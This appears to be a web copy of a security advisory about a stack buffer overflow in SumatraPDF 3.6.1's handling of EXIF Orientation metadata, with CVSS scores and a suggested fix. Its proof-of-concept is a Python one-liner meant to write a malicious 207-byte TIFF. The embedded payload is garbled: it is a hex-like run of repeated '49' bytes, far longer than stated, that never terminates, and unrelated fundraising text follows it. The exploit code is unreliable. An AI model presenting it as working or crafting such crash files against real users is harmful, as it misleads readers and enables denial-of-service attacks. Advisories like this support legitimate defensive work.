SumatraPDF Stack Buffer Overflow via EXIF Orientation Metadata

Vulnerability Overview Vulnerability Name: Stack buffer overflow while processing EXIF Orientation metadata Vulnerability Description: SumatraPDF contains a stack buffer overflow vulnerability when processing EXIF Orientation metadata. The vulnerability occurs during the process of determining the size required for the GDI+ EXIF Orientation attribute. An attacker can control this size, causing GDI+ to copy bytes beyond the end of the array. Affected Scope Affected Version: SumatraPDF 3.6.1 Fixed Version: None Severity: Moderate (6.8 / 10) CVSS Metrics: - Exploitability Metrics: - Attack Vector: Local - Attack Complexity: Low - Attack Requirements: None - Privileges Required: None - User Interaction: Passive - Impact Metrics: - Confidentiality: None - Integrity: None - Availability: High - Subsequent Impact Metrics: - Confidentiality: None - Integrity: None - Availability: None Remediation Recommended Fix: Reject Orientation attributes that do not match the target size before calling GDI+. Additionally, the returned type, length, and value pointer should be validated prior to reading the first Orientation value. Standalone Proof of Concept (POC) Code The following Python command reconstructs a complete 207-byte TIFF file using only Python's standard library: ```python python3 -c ' import base64 from pathlib import Path payload = """ 5049494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949

Goal Reached Thanks to every supporter — we hit 100%!

SumatraPDF Stack Buffer Overflow via EXIF Orientation Metadata

More from this source